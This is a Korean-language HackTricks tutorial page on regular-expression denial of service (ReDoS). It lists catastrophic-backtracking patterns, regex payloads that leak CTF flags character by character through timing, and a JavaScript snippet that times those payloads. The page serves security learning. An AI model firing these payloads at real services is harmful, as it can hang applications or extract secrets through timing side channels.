mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
105 lines
6.5 KiB
Markdown
105 lines
6.5 KiB
Markdown
# 정규 표현식 거부 서비스 - ReDoS
|
|
|
|
<details>
|
|
|
|
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
|
|
|
HackTricks를 지원하는 다른 방법:
|
|
|
|
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
|
|
</details>
|
|
|
|
# 정규 표현식 거부 서비스 (ReDoS)
|
|
|
|
**정규 표현식 거부 서비스 (ReDoS)**는 정규 표현식(텍스트에서 패턴을 검색하고 일치시키는 방법)의 작동 방식에 취약점을 이용하는 경우 발생합니다. 때때로 정규 표현식을 사용할 때, 특히 작업 중인 텍스트 조각이 커질 경우 매우 느려질 수 있습니다. 이 느림은 텍스트 크기의 작은 증가에도 매우 빠르게 증가할 수 있습니다. 공격자는 이 문제를 이용하여 정규 표현식을 사용하는 프로그램을 오랫동안 제대로 작동하지 못하게 만들 수 있습니다.
|
|
|
|
|
|
## 문제가 되는 정규 표현식의 단순 알고리즘
|
|
|
|
**자세한 내용은 [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)에서 확인하세요**
|
|
|
|
|
|
## 악성 정규 표현식 <a href="#evil-regexes" id="evil-regexes"></a>
|
|
|
|
악성 정규 표현식 패턴은 **DoS를 유발하는 조작된 입력에 갇힐 수 있는 패턴**입니다. 악성 정규 표현식 패턴은 일반적으로 반복 그룹과 반복 또는 중첩된 대체를 포함합니다. 일부 악성 패턴의 예시는 다음과 같습니다:
|
|
|
|
* (a+)+
|
|
* ([a-zA-Z]+)*
|
|
* (a|aa)+
|
|
* (a|a?)+
|
|
* (.*a){x} (x > 10)
|
|
|
|
모든 이러한 패턴은 입력 `aaaaaaaaaaaaaaaaaaaaaaaa!`에 취약합니다.
|
|
|
|
## ReDoS 페이로드
|
|
|
|
### ReDoS를 통한 문자열 유출
|
|
|
|
CTF(또는 버그 바운티)에서는 **정규 표현식이 민감한 정보(깃발)와 일치하는지 확인하는 데 사용**될 수 있습니다. 그런 경우, **정규 표현식이 일치하는 경우 페이지를 멈추게(타임아웃 또는 더 긴 처리 시간)** 만들면 유용할 수 있습니다. 이렇게 하면 문자열을 **문자별로 유출**할 수 있습니다:
|
|
|
|
* [**이 게시물**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)에서 다음 ReDoS 규칙을 찾을 수 있습니다: `^(?=<flag>)((.*)*)*salt$`
|
|
* 예시: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
|
|
* [**이 writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)에서 다음을 찾을 수 있습니다:`<flag>(((((((.*)*)*)*)*)*)*)!`
|
|
* [**이 writeup**](https://ctftime.org/writeup/25869)에서는 다음을 사용했습니다: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
|
|
|
|
### 입력 및 정규 표현식 제어를 통한 ReDoS
|
|
|
|
다음은 **입력**과 **정규 표현식을 모두 제어**하는 **ReDoS** 예시입니다:
|
|
```javascript
|
|
function check_time_regexp(regexp, text){
|
|
var t0 = new Date().getTime();;
|
|
new RegExp(regexp).test(text);
|
|
var t1 = new Date().getTime();;
|
|
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
|
|
}
|
|
|
|
// This payloads work because the input has several "a"s
|
|
[
|
|
// "((a+)+)+$", //Eternal,
|
|
// "(a?){100}$", //Eternal
|
|
"(a|a?)+$",
|
|
"(\\w*)+$", //Generic
|
|
"(a*)+$",
|
|
"(.*a){100}$",
|
|
"([a-zA-Z]+)*$", //Generic
|
|
"(a+)*$",
|
|
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
|
|
|
|
/*
|
|
Regexp (a|a?)+$ took 5076 milliseconds.
|
|
Regexp (\w*)+$ took 3198 milliseconds.
|
|
Regexp (a*)+$ took 3281 milliseconds.
|
|
Regexp (.*a){100}$ took 1436 milliseconds.
|
|
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
|
|
Regexp (a+)*$ took 723 milliseconds.
|
|
*/
|
|
```
|
|
## 도구
|
|
|
|
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
|
|
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
|
|
|
|
## 참고 자료
|
|
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
|
|
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
|
|
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
|
|
* [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
|
|
|
|
<details>
|
|
|
|
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
|
|
|
HackTricks를 지원하는 다른 방법:
|
|
|
|
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 **해킹 기법을 공유**하세요.
|
|
|
|
</details>
|